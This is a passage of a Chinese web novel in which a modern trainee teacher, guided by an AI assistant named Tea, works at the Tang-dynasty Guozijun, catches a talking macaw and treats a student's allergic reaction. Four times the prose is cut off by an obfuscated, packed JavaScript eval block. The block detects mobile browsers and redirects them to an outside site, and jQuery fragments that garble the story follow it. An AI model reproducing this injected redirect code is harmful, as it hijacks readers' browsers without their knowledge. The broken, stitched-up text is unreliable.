想到此处,贺知章指着萧诚桌案上散落的宣纸,对还在崩溃的白果说道:“若是想叫醒他,拿走其中一张便可。” 白果怔愣几秒,意识到贺导师话中含义后不免惊讶:世上当真有爱纸到如此地步的人吗? 她试探着抽出其中一张纸,果不其然,刚刚还不省人事的萧诚瞬间睁开眼,制止了她的动作。 果真是天下之大,无奇不有。 又叮嘱几句,贺知章也打算离开。 最近不知是谁向圣人提出“绩效考核”的说法,需要每位官员都书写整理好近几年为官的成果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735574|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而负责审核统计国子监众多官员的活就压在了他的身上,近几日可以称得上是废寝忘食。 白果连连点头,让贺导师先去忙自己的事吧,她完全可以做好一切的! 不过......绩效考核,这个朝代也有类似的名词? 【Tea:学员您好,为了确保培训体验,会额外增加补充世界设定,并非是您所想的“穿越者搞事”,请放心。】 耸耸肩,没去搭理无时无刻不在监视自己的智能ai,白果拍拍身上的灰,坐在办公位上开始整理所谓的教案和听课记录表。 她打了几个哈切,一手托腮,斜眼翻看一页又一页的材料。 办公室内除去她和再次陷入沉睡的萧诚外,再无他人。 此时正是正午阳光最为充足的时候,透过窗棂泼洒在身上,倒是格外暖和。不知名的鸟儿啾啾叫着,混杂着风吹叶片声,时间仿佛在此时按下暂停键。 如此适合午睡的氛围,让白果的头愈发下落,就差和书本相贴。 “啪”的一声巨响。 瞬间挺直腰板睁眼看去,是不小心睡倒在地的萧诚。好在桌案都是实木制成,这才没有连带着被掀翻。 砚台里的墨汁顺着桌角缓缓向下滴落,眼瞅着就要落在萧诚微微张开的嘴中。 白果于心不忍,想要开口提醒,还未等她说话,就见这人将手一甩,不知从哪个角落里掏出另一个砚台,闭眼放在桌角下,刚好接住墨汁。 动作颇为熟练,想来是个老手。 让从未见过如此绝活的白果不免乍舌,别说,还真挺帅气的。 经过这么个打岔,刚刚那股困意也随之消散许多。 也不知道这人究竟是醒了还是没醒...白果拍拍脸,打算写一写明日上课的教案。 随意抽出一根毛笔,先做个书法热身。 每个人的工位上有配备好相应的笔墨纸砚,只是这官府统一采购的质量好不到哪里去,能正常使用便可,故而大多人会选择自己携带。 白果,一个只在大一选修课上学过点儿书法皮毛的人,完全不懂质量好坏。她倒觉得这毛笔质量上等,比从前九块九买的初级书法套餐要好用多了。 沾上墨,在宣纸上一笔一划写下自己的名字。 拿起这字细细端详,不错,横平竖直,比从前写得都要好。 “...不要让这字出现在我的面前。” 本来躺在地上的萧诚不知何时站在她身后,带来一股浓重墨香味。他直接夺过那纸,然后撕个粉碎。 没等白果发作,又直接抽出一张新纸,提笔写下“白果”二字。 笔墨若行云流水,飘逸灵动,倒真有傲气的资本。 白果看着满桌残渣,犹豫两秒,然后也将萧诚刚刚写下的字撕得粉碎。 她仰头与之对视,道:“萧学正的字不如我。” 萧诚来了兴致,竟有人如此自信,他自幼学习书法,从未见过能对着那副丑字说出这样话的人。 “哪处不如你?”他反问道。 “不如我返璞归真。” 白果挑了挑眉,狂傲至极。 就像是毕加索所说:我用了一生的时间,才能像孩子一样画画。她这可不是像孩子一样的书法作品吗?虽看似丑陋,但足以窥见书写者那孩童般纯洁的心灵。 两人对峙几秒,忽然理解白果口中“返璞归真”涵义的萧诚只觉灵光乍现,他喃喃自语道:“是极是极...原来问题竟是出于此处。” 那墨色般的双眸愈发明亮,嘴角难掩笑意,最后竟是直接飞跑出去,像是参悟了人生大道。 白果看着那疯疯癫癫的背影,十分淡定地把自己刚刚撕碎的字重新拼好,贴在封面。 真好看,不愧是有“名成子薛,安西变体,光润愉悦”之名的萧诚。 她慢悠悠翻开教案本,优雅的从袖带里掏出一支钢笔。 笑话,有了现代科技,谁还会用毛笔去写十几本教案啊,她又不傻。 …… 【恭喜学员结识第五位好友/同僚:萧诚】 15. 第 15 章 “不想学习——不想学习——不想学习” “想睡觉——想睡觉——想睡觉” “你好——你好——你好” “……” 房梁上时不时传来窃窃私语声,若是细细附耳听去便会发现讲述者一直在重复念叨着几个固定词汇,像是许久未使用的卡带收音机,让人不免感到几分毛骨悚然。 这个教资培训里还有捉鬼的设定存在? 拿着扫帚躲在角落潜伏的白果有点儿不敢下手,自从她住进这间屋子,夜里便一直都有陌生声音在说话。 惹得她每天夜里都做噩梦。 今天夜里实在是受不了了,她熬到现在,终于等到罪魁祸首的出现。 只是这场景跟她设想的完全不同。 【Tea:请学员不用担心,在本培训里绝对不会出现任何灵异现象。】 白果撇撇嘴,她才不信呢,AI的嘴比人还会撒谎。毕竟它有没有所谓的良心,撒谎岂不是手到擒来。 【Tea:您不妨亲自看看,或许与您想象中的并不一样。毕竟人类最大的恐惧源自未知,不是吗?】 【Tea:顺带一提,我不会对您有任何欺骗,请放心。】 白果随意敷衍几句,她现在可没心思和AI拌嘴。 握紧手中制作的简易捕虫网,深呼吸几口气,顺着声音的痕迹一步步小心挪动到厨房的位置。 似乎还能听见扑扇翅膀的声响? 终于,那个不明物体停住了动作,站在灶台边咕叽咕叽喝起洗碗水来。润完嗓子后,又准备继续扰民。 就是现在! 白果一个大跨步飞跳上前,把胳膊抡圆,手臂青筋暴起,颇有种在山顶捕捉野猪的壮士风范。 砰的一声! 大网将那不明生物紧紧套住,它还在不停挣扎,然后不小心跌入洗碗水中,溅出泛着油光的水花。 白果气沉丹田,厉声喊道:“何方妖孽!还不束手就擒!” “妖孽!妖孽!妖孽!” 不明生物模仿着她说出的话,像是个复读机。 用蜡烛将烛台点亮,白果慢慢向灶台靠近,随着光源照射,终于看见了不明生物的全貌。 ——是只五彩色的金刚鹦鹉! 正在捕虫网的笼罩下不停挣扎,叫得呕哑嘲哳难为听,现在还真像是杀猪叫。通身七彩色的羽毛即便是在如此昏暗灯光下也依旧熠熠闪耀,很直观的自然之美。 那什么……长安城里有这个物种的存在吗? 如果没记错的话,金刚鹦鹉是生存在南美洲的热带雨林里的。难不成,偷渡过来的? 把求助的目光转移到AI身上,希望它能够给出一个合理解释。 【Tea:……服务器繁忙,请稍后再试。】 天杀的,等她培训结束后一定要把这个破AI投诉一万遍。 没办法,求人不如求己。 缓步接近金刚鹦鹉,白果在嘴上不停念叨着:“别怕别怕,我不会伤害你的…” 也不知道究竟是在安抚鹦鹉情绪,还是她自己的情绪。 隔着网,把手缩在袖子后想要把这只鹦鹉从锅里捞出来。 谁知它力气大到吓人,就跟拔河比赛一样。一人一鸟谁也打不过谁,场面一时僵持起来。 白果脑子一抽,竟然开始跟鹦鹉谈判起来,考虑到它可能是来自外国的动物,还特意用上了英文:“Hello,canyougoawaymyhouse?” (你好,请问你可以离开我家吗?) “No.” 鹦鹉如此回复道,嗓音极其冷酷。 “……你真不是修炼成功的精怪吗?” “Hello!Hello!Hello!” 得到了个不知所以的回答。 似乎是听见了自己熟悉的语言,金刚鹦鹉终于安静下来,呆在网里一动不动。 白果颤巍巍把鹦鹉从锅里捞出来,见它没展现出任何攻击性才短暂松了口气。 用手帕擦干它身上的水分,看着正展开翅膀梳理羽毛的五彩鹦鹉,白果又犯了愁。 让自己做噩梦的元凶是找到了,可怎么处理元凶又是个问题,如果直接把鸟扔了,就冲着它这身稀有皮肤,十有八九会被人扒皮做成时尚饰品。 直接引领长安城新潮流。 话说大理寺能不能勉强收养一下? 思来想去还是打算先放在家里,等明日再想办法解决。 折腾半天,白果现在倒是精神满满,一点儿都不感到困倦。 不如把白天没写完的教案补一补吧。 这么想着,她翻开了空空如也、只写了自己名字的第一页。是的没错,她也不知道自己白天究竟干嘛去了,怎么一个字都没动。 拿起笔,开始琢磨改如何设计教案。仅三秒,白果眼睛一闭,栽进书香中沉沉睡去。 这可把正在梳理羽毛的鹦鹉吓一跳,蹦跶着喊道:“吓死鸟啦!吓死鸟啦!吓死鸟啦!” “闭嘴!” 白果一拳捶了过去,成功把鹦鹉捶晕,陷入婴儿般的安详睡眠。 翌日清晨, 在一阵鸟语花香中,她再度清醒了。 昨天是不是做了个奇怪的梦,哈哈,真搞笑,怎么会梦见说英文的金刚鹦鹉。 一扭头,和鹦鹉脸对脸,它轻轻啄了啄白果的耳垂,叫道:“吃饭!我要吃饭!” 白果:......好的鸟哥。 翻箱倒柜找了些食物,但这鹦鹉挑剔得很,用脚把所有吃的都踢得远远的。然后高昂着胸脯,得意洋洋道:“垃圾,不吃垃圾!” 她是不是还没吃过鸟肉? 【Tea:金刚鹦鹉在我国属于?国家二级保护野生动物,如果玩家在培训内有任何违法行为,将会被立即送往大理寺关押。】 白果拿着刀的手顿了顿,果断把目标转移至金刚鹦鹉旁放着的烤梨,本来打算送给陆象先的那个梨。咳咳,她只是嘴上一说,才没有那么恐怖的想法呢。 咔擦一声,梨被分成两半。 有了吃的后,本来一直叫唤的鹦鹉终于歇停下来,用爪子抓着梨,小口小口品尝。就算这样也堵不住它的碎嘴,嘀嘀咕咕不知在说什么鸟话。 要不,当个宠物养起来? 她这么想着,伸出手指戳了戳鹦鹉的脑袋,看着它绚烂的外表,自言自语道:“要不叫你咪咪好了。” “你才是咪咪!咪咪!咪咪!” “......坏鸟!!!” 莫名其妙又和鹦鹉吵了一架,房门被人敲响,再次听见陆象先那一成不变的问候词。 他朗声道:“晨光熹微,今日安否?” 没人回应。 陆象先知道自己是被人记恨了,他摸了摸鼻子,昨日之事也并非他所愿。只是想让白女郎明白,这官场上瞬息万变,与其将希望托付他人,不如依靠自己。 昨日等到即将宵禁都没看见白女郎的身影,后来询问门仆才得知女郎在晡时后用了餐就回去了,说是有要事要做,可这要事是什么就不得而知了。 陆象先隐约察觉到对方许是在躲自己,关于宴席上的事倒没什么可解释的,只觉得若是因此而少了位好友,那定是要抱憾终生啊。 所以趁着今早,他来赔罪道歉一番,希望白女郎能不计过错,冰释前嫌。 就在愣神之际,有人在身后轻拍他的左肩。 他扭身看去,正是巧笑嫣然的白女郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735575|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,未等他说些什么,一只毛茸茸的东西直接飞趴在他的脸上,遮挡住视线。 没等他反应过来,就听见对方沉闷的话语:“我虽不是什么小肚鸡肠的人,但也绝非任人揉搓的软柿子,陆兄,从今以后,你我便是陌路人。” 他这下真有些慌张,想要把脸上的不明物体弄下来,却越弄越紧,简直是扒在脸上。 耳边传来马车碾过长道的声响,还有白女郎清亮的一声呼喊:“咪咪!回来吧!” 陆象先终于重获自由,他望着已经乘马车离开的背影,还有白女郎掀开帘子做的鬼脸...不免失笑。 好啊,没想到自己竟也被戏弄了一回。 而那只身着五彩衣裳的鸟儿拖着长长羽翼振翅而飞,此时晨光乍现,其羽若云锦织就,流光溢彩,散发出无与伦比的梦幻遐想。 飞进车帘内,不见踪影。 …… 马车在国子监门口停下, 白果迈着轻快步伐跳下马车,向车夫道谢后径直走进国子监。 这一路上颇为引人注目,时不时有人回头看她,更有甚者直接相撞,发出哎呦哎呦的哀嚎声。 而引发如此小规模混乱的罪魁祸首正是—— “这鸟不会就是你所说的,在西市答错题,被得道高人变为家畜的人?” 特意在办公房堵人的李泌死死盯着白果左肩上的那只玄鸟。 他昨日去西市找了一整个下午,也打听了许多人,完全没有得到关于“神秘商人”的任何消息。 许是机缘未到,他这么安慰着自己回家。 然后被本就心情不佳的妹妹从头到脚嘲讽个遍,还提出个要求:和那白女郎见上一面,瞧瞧究竟是个怎样的奇女子把他戏耍成这样。 但现在,看见这鸟的李泌更加坚定——西市定然有位得道高人,只是自己还不够格,碰不到对方。 这是一场专属于他的考验。 听到李泌如此迫切的询问后,白果心中忽地浮现出一个绝佳骗局。既然要编谎言,那就把它编得更加完善一些吧。 想到这里,她伸手轻轻拂过金刚鹦鹉的羽毛,神色落寞,眼中仿佛蕴藏着千万般思绪,最后缓缓道:“是,他是我兄长,因着没答对题,便只能以这副样子陪在身边。” 说完,假惺惺地擦拭眼角,一副不愿提起的悲惨过去就这么惟妙惟肖的被演了出来。 见此情景,李泌这才意识到自己刚刚说出的话有多么唐突。他也是有妹妹的人,自然明白这之间的亲情有多深厚。而白女郎的兄长变成这般模样,想来定是悲痛万分。 他抿了抿唇,一时间不知该如何劝慰。 “无碍,李大人并不知此事,不必介怀。”白女郎将手帕收起,露出个勉强的笑容。 “敢问女郎兄长名讳?” 她轻轻叹口气,像是在追忆过去,缓缓道:“他啊,他叫白痴。” 李泌:......怎么听起来有几分不对劲。 本来安静当装饰品的鹦鹉似乎是听懂了什么,开始呼扇翅膀抗议,“咪咪!咪咪!咪咪!” 不是说好的叫它咪咪吗?怎么又换了名字! 直接用手合住鹦鹉的长喙,白果扬起个和善的笑容,一人一鸟又僵持许久,谁都不让谁。 李泌见此情景更加笃信,这二人肯定是兄妹。看样子想要找到那得道高人,还需和白女郎打好关系。 最终解开兄妹俩对抗僵局的是一位着急忙慌跑来的学生。 他高喊着,神情惊恐,气还没喘匀道:“夫子不好了!” “有人,有人变成红色的怪物了!” …… 【系统:紧急事件开启*】 【系统:请学员前往现场,进行抢救*】 16. 第 16 章 看着太医署躺板板的病患,白果的目光在另外几名学生身上一扫而过。 她刚刚询问许久,终于把这事的前因后果搞明清楚,属于是那种柯南来了都要调监控的离谱程度。 事情的开始还要从河边惠日得到小红花时说起。 他盯着手心中的小花乐了一整天,就连夫子的训斥都充耳不闻,于是便被罚用戒尺打手三下。 受了刑罚后夫子依旧很是生气,那吹胡子瞪眼的滑稽模样让河边惠日又没忍住笑出声,接着不出意外的又挨了几板子。 低头走回自己的座位坐下,他抽了抽鼻子,嘴巴一瘪,有无数委屈在心中缠绕。泪眼朦胧地拽了拽前面老大的衣角,想要诉苦。 可惜正疯狂记录小报告的纪长谷雄果断把他忽略了。 河边惠日搓了搓自己通红的掌心,上面还有股火辣辣的痛觉。作为一个从小便被家族宠到大的孩子,他感到几分难过,像是被整个世界所抛弃。 决定了,单方面和老大绝交一炷香! 正当他生着闷气时,有人从旁边拍了拍他,还送来一枚小红花。 扭头看去,是津守吉祥。 “别难过了,你不是喜欢这个吗,我把我的给你。” 河边惠日:......QAQ 他瞬间感到浑身充满了力量,手不疼腰不酸,还能再和夫子对骂一百回合! 见他这副斗志昂扬的模样,津守吉祥叹了口气,未免也太好哄了吧,从小到大都是这么单纯的家伙。虽说他也有点儿喜欢小红花,但还是看不得别人难受...自己这泛滥的同情心究竟什么时候可以收一收。 三人组简直是三个完全不同的世界,也不知道他们是怎么凑到一起玩的。 而坐在斜后方围观全程的一人发出鄙夷目光,自己怎会和这样一群乳臭未干的小毛孩在一起学习。 若不是父上要求照顾小野家的长子,他才不会浪费时间和这批人同为遣唐使。 只不过是最近得了天皇大人的赏识,便如此不知天高地厚,藤原家如何比不上小野家?父上真是老糊涂了。 更别提,那小野篁看起来便瘦弱不堪,实在不足为惧。 他看向窗边低头书写的小野篁,又在心中嗤笑,小野家算什么东西,他藤原清河定要狠狠碾压这小野篁,让父上看清事实。 想到这里,藤原清河没忍住笑出声来,迎着周围人怪异的目光,他挺直腰杆,丝毫不在意这些眼神。 且视他人之疑目如盏盏鬼火,他藤原清河就是最棒的! 然后他这举动就被纪长谷雄果断记录在册,又是个扰乱课堂秩序的神经病。 且不提这边的血雨腥风, 那边又得到一个小红花的河边惠日已经琢磨着下课去找白夫子兑换礼物,因为是吉祥送他的,所以当然也要询问吉祥的意见。 津守吉祥犹豫一会儿,他倒没什么想要的东西,只是想兑换一张回家的船票,离这些人远点儿就好。 当然这话是定不能说出口的,他咳嗽两声,把问题重新抛回去:“不如我们先去找白夫子,询问究竟有什么礼物可以兑换?” “没错!那现在就去吧!” 河边惠日直接拽着人开跑,嘴中吃进许多凉风,让津守吉祥连回个话的时间都没有。 这么着急干嘛?!白夫子又不会遁地跑路! 而被两人抛弃的老大纪长谷雄正满意地欣赏已经写得满满当当的小本,他想和两个小弟炫耀炫耀,一个扭头,空荡荡的讲堂里只剩下他一人了。 嗯?人都跑哪里去了? …… 以上这便是此次事件的起因。 若再要细究真正的罪魁祸首,或许还和白果有一定关系。 今日早些时候,她看着面前两个想要兑换奖品的学生,正眨巴着大眼睛充满希冀地看着她,犹豫片刻后从袖带里掏出块士力架扔了过去。 “喏,来自神秘国家的一种名为巧克力的饴糖。” 河边惠日如获至宝,小心翼翼捧着巧克力,打算带回斋舍炫耀。 他们可是第一个向白夫子兑换礼物的人呢! 和他预想的差不多,当他亮出这精美包装的巧克力后所有人都围了上来,极大满足了河边惠日的虚荣心。 新任好兄弟阿班达举手提问道:“可以让我嗅嗅吗?” “允了。” 撕开包装后,一股夹杂着甜香的气味在鼻尖缭绕,许是刚刚被他手心握得太久,这巧克力有些微微融化。 为了和吉祥一起分巧克力,他特意从中掰开,变成大小均匀的两等份。 虽然外表看来是黑黢黢没有食欲的样子,但掰开后却别有洞天。 那夹杂在其中的果实颗粒混合着焦糖,形成了恰好好处的滋味,这香气也愈发浓郁。他们特意关紧了门窗,生怕让窗外的风也偷吃一口。 这时,鼻尖都充满了香气。 就在河边惠日打算好好品味这美味时,耳边传来一道惊呼。 “瓦希德!你怎么了?!” 众人目光向那位名叫瓦希德的同学看去,都不约而同瞪大眼睛后撤几步。 这人浑身上下都长出通红的疹子,面色痛苦,脸上迅速膨胀成红球,把眼睛都挤得看不清。连带着呼吸也变得十分急促,整个人半靠在墙边,完全喘不上气,还在不停干呕,那架势,简直是要把胆汁一同吐出来。 河边惠日被这恐怖的景象吓住,手里拿着的巧克力也不小心掉落在地,包裹上一层尘土。可他也没心思管这些了,面前这场景足以让人忘记所有,大脑空白。 就在所有人都愣在原地干瞪眼时,察觉到几分不对劲的小野篁从里屋走了出来,见此场景后厉声喊道:“立刻打开门窗,不要围在他身边!” 众人生出几分理智,却还是有些束手无策,唯有小野篁冷静到近乎听不出波澜的命令在稳定现场局势。 “高丽君去通知白夫子,中臣君去找负责斋舍的医生、剩下的人全都捂住口鼻远离这里,若是疫病,我们一个都跑不了。” 见所有人都按照自己指令行事后松了口气,好在这群人还不算太蠢。 小野篁看向正抱着瓦希德的另一人,若是没记错的话应是叫阿迪勒,两人是长相一模一样的双生子。 犹豫几秒,还是用手帕捂住口鼻走了过去。 蹲下身,仔细端详着瓦希德的病症。刚刚那匆匆一眼并未看清,这么一瞧,倒和书籍中描述的疫病不大相似,但也行为听过有这样极速的怪病。 可不怕一万就怕万一,若真出了什么事......那么自己费劲千辛万苦抢来的东西就要化为乌有。 不,绝不允许。 你最好活下去...小野篁并不介意自己手上的鲜血再多一条。 视线扫过瓦希德正张大急促呼吸的嘴,若是捂住这里,便可以轻易杀死他。 收回目光,或许还是再等等吧,现在并不是个好时机。 此时站在屋外的几人还没反应过来发生了什么,一个个呆若木鸡。这事着实超过了大脑运转内存,如果,如果真是瘟疫,他们打了个寒颤,那当真是一个都跑不了。 恰好,白夫子跟在高丽广山身后跑来,从未感觉到时间是过得如此之慢长,所有人像看见救星般喜悦。 在路上了解基本情况后的白果也捂住口鼻迈步走了进去,里面已经有几位战战兢兢的太医正在问诊。他们不愿离得太近,生怕被传染了病症,死无葬身之地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735576|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有小野篁跪坐在内,一门之隔,有条不紊地描述着病症。 见此情景的白果更是心急如焚,不能死不能死啊,她还没认全学生的脸,怎么可以这么轻易就死了! 疯狂询问AI助手,好端端的,怎么会传染上瘟疫? 【Tea:请学员不用担心,也请学员利用好每位学生头顶的数值和状态来判断学生情况,若有生病会自动标出。】 听到这话后的白果定了定心神,透过扇门向内看去,果不其然,从这位名叫瓦希德的学生头顶看见标红加粗的四个大字——严重过敏。 不是疫病就好...不对,严重过敏也是会致命的啊。古代又没有可以治疗的药,她还没像其他穿越者那样研究出青霉素……青霉素也治不了过敏啊。 【Tea:请学员自行在商场购买相应药物[氯雷他定片],加购极速达可快速获得】 趁火打劫的奸商! 白果果断买下药,一个箭步冲了进去,把两边太医吓够呛,感叹一句师徒情深。 她拉开门,高喊道:“都别怕,白夫子来救你们了!” 没了门的阻碍,屋外阳光也畅通无阻地照射进来。白夫子逆光站着,发丝变成了暖黄色,让人忍不住眯起眼。 小野篁仰头看去,直到眼眶酸涩也不愿闭眼。 看着白夫子将一块白色药片塞进瓦希德口中,用温水送服,全然顾不得已经被呕吐物弄脏的衣服,轻拍着对方的脊背,让他跟着节奏调整呼吸。 不消片刻,这病情便缓解许多,瓦希德身上的红疹也渐渐褪去,像是医学奇迹。 白果让瓦希德的哥哥继续照顾,并把药递了过去,在还没弄清过敏原的情况下还是先拿着要备用吧。 她有些后悔自己没有准备常用医疗箱,根据今天这混乱局面,日后还要加上紧急情况处理课才对。 今日要不是小野篁的冷静应对,那瓦希德很有可能因为严重过敏死亡。 她看向已经起身收拾屋内残局的小野篁,两人目光再次对视,只不过这次少了些试探和打量,只有纯粹的赞赏。 “你今日做得很棒,我该向你道歉。” 小野篁怔愣几秒,不明白夫子的歉意从何而来。 白果笑了笑,没再解释什么,她招手让小野篁走到跟前,然后大方的将整整一张小红花贴纸都给了对方。 “小野同学今日的表现值得这么多小红花。” 低头看着那颇为幼稚的卡通图案,小野篁心中泛起阵阵涟漪,露出了在那次事故后的第一个笑容,垂眸轻声回道: “我会做得更好,比所有人都好。” “当然,我信你。” ...... 至此,这突发其来的过敏事件才算暂时告一段落。 太医们虽不大懂何为过敏,但对有家族绝学的白夫子的话深信不疑,据说她兄长师从孙思邈,还是药王谷的继承人,对各种疑难杂症都颇有研究。 虽说这过敏并不会传染,但还是要按规章要求进行隔离措施,等上半个月后才可自由活动。 白果从屋内走出,看着乖乖站成一排的学生们,她忍不住扶额。 一个不留神就差点儿闹出人命。 她挨个询问今日的异常现象,毕竟瓦希德待了那么久也没事,怎么就碰巧今天过敏了呢? 眼神恰好瞥见津守吉祥手里的另一半士力架,巧克力已经融化,只剩下花生和坚果。 ……她好像知道过敏源是什么了。 所以一切的一切都是自己的错吗? ——— 【系统:已成功解决突发[过敏事件],学生对您的威望值提高了】 【系统:+10分】 17. 第 17 章 知错能改,善莫大焉。 白果充分汲取上次[过敏事件]的教训,在办公房、学生宿舍以及讲堂中各放置了一个紧急医疗箱,以备不时之需。 当然不是用的自己工资,她那点儿微薄的俸禄经不得任何风吹雨打,因此便把主意打到了另一个近乎被所有人忽略的地方——意见箱。 国子监内部同样设有意见箱,可以写信提出建设性提议,至于采不采纳就全凭运气了,毕竟知道它存在的人都少之又少。 这消息还是从对面萧诚口中得知的,他每天都乐此不疲地写投诉信,因为官府提供的毛笔和宣纸实在太烂,让他都提不起兴致上值。 分明就是自己摸鱼,还想找借口。 不过这倒是给了白果一些思路,她虽不怎么会策论,但议论文还是经过应试教育熏陶过的,从个人国家社会层面逐级递升即可。 文笔比不上古代人,思想总归可以稍微进步一点儿吧! 而且,她有办法让领导注意到意见箱的存在,只需要一点儿小小的手段足以。 【系统:触发隐藏任务——请学员以“校园安全隐患”为题书写一封提议(科目一作文练习题)】 怀揣着建设民主大唐的伟大想法,白果开始着手书写自己的第一封建议信。身旁摆放的空白教案和听课记录本如同空气般,被她完全忽略了。 她用钢笔在本上打了个草稿,下意识编出一句对仗当题目: 《以保障制度之衣,暖万千学子之心》 白果盯着题目思考许久,她好像还没准备考公呢,原来自己竟是隐藏的申论天才吗? 心中顿时升起无数自信,一鼓作气,仅花费半个时辰就完成了一篇一千字议论文。其中引用多位名人名言事迹,虽然大部分是自己编的,但只要说是家族古籍的话就没人会继续过问了。 这时才明白什么叫做下笔如有神。 她吹干墨汁,将建议信递给好不容易正处理公务正事的萧诚,希望他能给出些修改意见。 萧诚握着丝滑若绸缎的现代工业A4纸,看着上面用自己闻所未闻事迹堆砌的文章,一目十行后,迎着白果期待的眼神,他伸出手:“把笔送我,纸也给我...古籍也要。” 怎么还连吃带拿的。 白果犹豫两秒,也伸出手:“把你造的斑石纹纸送我,再把我这篇文章亲手抄录一遍,最好稍加润色...最后教会我书法入门。” “如何?” “成交。” 萧诚人确如其名,非常诚实,只要答应的事情无论如何都会做到,至于后来被白果的丑字气到心梗那事暂且不提,他也算是第一个享受到办公房急救箱福利的官员。 最起码现在,两人都觉得自己赚到了。 且说萧诚接下白果的约定,白果也不拖延,立刻送了他厚厚一沓A4纸张,皎洁若月,丝滑如稠,是当下任何工艺都无法比拟的存在。 萧诚除了书法的爱好外还有一项:便是用野麻造斑石文纸,虽有五色光洁之感,但到底是差了一节。 这白女郎看似两袖空空,一贫如洗,实际却有诸多秘密,他对此不感兴趣,左右与自己无关。 在官场最忌讳打探别人隐私。 最主要的还是从对方手里多套几张纸出来,他想研制出造纸的方法。 得了好东西,萧诚便想起另一位当时有名的书法家好友——李邕。 说起这李邕,现在可是长安官场里众星捧月般的存在,时人赞其是汉时贾谊、战国时的信陵君。只可惜名声太过并非好事,招来权贵的忌恨后屡遭贬斥,现在不知被贬成什么芝麻小官在边缘徘徊了。 好在他性格豪放,对此也不甚在意,为人更是喜好奢侈豪华,一有闲暇便骑马狩猎,还不忘办上酒宴佳肴,邀才子共同享乐。 这不,今日便有盛宴在平康坊内举办。 萧诚自是收到邀请,他得了宝贝纸张,便更想着早些让李邕好好欣赏一番。 于是这破班是一刻也上不下去了,收拾完凌乱书桌便拿东西离了办公房。 他倒也是个奇怪的人,看似乱糟糟,但总会在最后把所有物品摆放整齐,强迫症结束后才会迈着大步下值。 留下还打哈切逗鸟的白果,她瞧着急匆匆的萧学正,本想提醒他身后尴尬位置沾上一大团浓墨,不过话又说回来,万一这就是书法家的特色穿搭呢?还是不要多管闲事为好。 “吃饭!吃饭!吃饭!” 金刚鹦鹉又开始叫唤起来,张开翅膀疯狂叫嚣着自己的存在感。 白果挖出一大勺干噎酸奶堵住它的嘴,吃吧吃吧,她决定把这家伙送去李泌家寄养几天,反正李泌馋这鸟已经很久了,每天都乐此不疲地从鹦鹉口中挖出仙人下落。 把鸟事处理完后,直接趴倒在桌上,掰着手指算时间。全年除去法定节假日外,国子监实行上十休一制,而她还需再熬两日才可放旬假,这种工作究竟有谁在认真努力啊?! 来长安这么久,她每天天还没亮就睁眼上班,中午趴桌子打瞌睡午休,到了下午六点左右蹭车回出租屋,如此循环往复,仅是为了2000文的俸禄。 怪不得,怪不得都说自古以来普通人的生活其实没什么差别,全是为了生活拼命当牛马,也只有贵族可以享受到最顶尖的时代红利。 这世上多她一个有钱人又会怎样。 白果趴在窗沿边发呆,时不时皱眉点头,装作深思的模样认真摸鱼。不过也没什么人在意她的小动作,只听得步履匆匆,无人停歇。 真是勤奋上班的古代人。 忽的,一道影子遮住头顶的旺盛强光,抬眸看去,首先注意到的是腰间佩戴的玉佩,质地温润,看起来就很值钱的样子。 接着便是一缕梅酒清香袭来,她嗅了嗅鼻子,瞬间明了来人是许久未见的张司业,张九龄。 据陆象先的小道消息,张司业是岭南人,那边的梅子酒十分出名,他家中偷偷珍藏着许多自己酿造的梅子酒。一到夜深人静想家时,便会喝几杯梅酒以缓解思乡之情。 久而久之,张司业身上便有股怎么也散不掉的梅酒香气,若是说得高雅些,可以称之为乡愁。 当然,从陆象先口中说出的话要注意辨别真假。真不真不确定,但足够夺人眼球,非常适合当营销号。 白果收回刚刚的咸鱼状态,麻溜从地上爬起,向对方作缉行礼后问道:“不知张司业有何要事?” 自从上次蹭车时偶然碰见,两人便再没单独说过话,她也不知张司业这大忙人来找自己干什么。 张九龄从袖中抽出一张请帖递出,他受人之托,来送邀请函。 狐疑地接过请帖,上面写着二字:李邕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735577|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 略有耳闻,但不熟。 